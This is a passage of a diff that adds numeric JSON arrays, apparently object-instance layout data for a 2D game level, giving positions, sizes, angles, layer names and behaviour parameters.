+ 772,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 6615,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 140,
+ 885,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5223,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 278,
+ 897,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5225,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 726,
+ 831,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5227,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1261,
+ 879,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5228,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141,
+ 613,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5229,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2351,
+ 584,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5231,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3544,
+ 970,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5235,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5016,
+ 948,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5240,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5196,
+ 945,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5241,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1643,
+ 1179,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 596,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 408,
+ 887,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5224,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1,
+ 884,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5226,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1635,
+ 749,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5230,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 584,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5232,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589,
+ 606,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5233,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3247,
+ 880,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5234,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3725,
+ 1061,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5237,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4889,
+ 949,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5238,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3845,
+ 586,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5242,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2723.4287109375,
+ 627.9830322265625,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 703,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2847.4287109375,
+ 703.9830322265625,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 704,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1033.17529296875,
+ 772.8323364257812,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 627,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1156.980712890625,
+ 848.2050170898438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 629,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1739,
+ 807,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 632,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6787,
+ 1086,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 758,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4828,
+ 3255,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5098,
+ 873,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 606,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5098,900",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 889,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 607,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 610,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 613,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 614,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 615,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 616,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 618,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 622,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 635,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 639,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 138,
+ 877,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 641,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 135,
+ 877,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 642,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 137,
+ 852,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 643,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 137,
+ 851.4733276367188,
+ 0,
+ 60.0714111328125,
+ 48.9466552734375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 646,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5101,
+ 757.5,
+ 0,
+ 13,
+ 1581,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 648,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 649,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3366,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 651,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 661,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040,
+ 2860,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3950,
+ 3243,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 800,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4064,
+ 3365,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 802,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5457,
+ 3093,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 826,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2483,
+ 556,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 831,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2338,
+ 607,
+ 0,
+ 24.95556640625,
+ 166.9776000976563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 832,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2622,
+ 601,
+ 0,
+ 25.62890625,
+ 158.4940185546875,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 833,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2483,
+ 544,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 834,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2462,
+ 560,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 835,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2504,
+ 560,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 836,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 3525,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 677,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3679,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 678,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3838,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 679,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3993,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 680,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4152,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 681,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 948,
+ 1732,
+ 0,
+ 1058,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 815,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2784,
+ 2886,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 396,
+ 662,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2782,
+ 2885,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 397,
+ 645,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2954,
+ 2963,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 398,
+ 854,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2952,
+ 2964,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 399,
+ 855,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1685,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1780,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 585,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1876,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 586,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1971,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -713,
+ 1194,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 796,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -140,
+ 890,
+ 0,
+ 98,
+ 73,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5068492889404297,
+ 0,
+ 0,
+ []
+ ],
+ 492,
+ 4812,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1444.322998046875,
+ 502.1685485839844,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4815,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1410.064575195313,
+ 502.2393798828125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4816,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3800,
+ 624,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
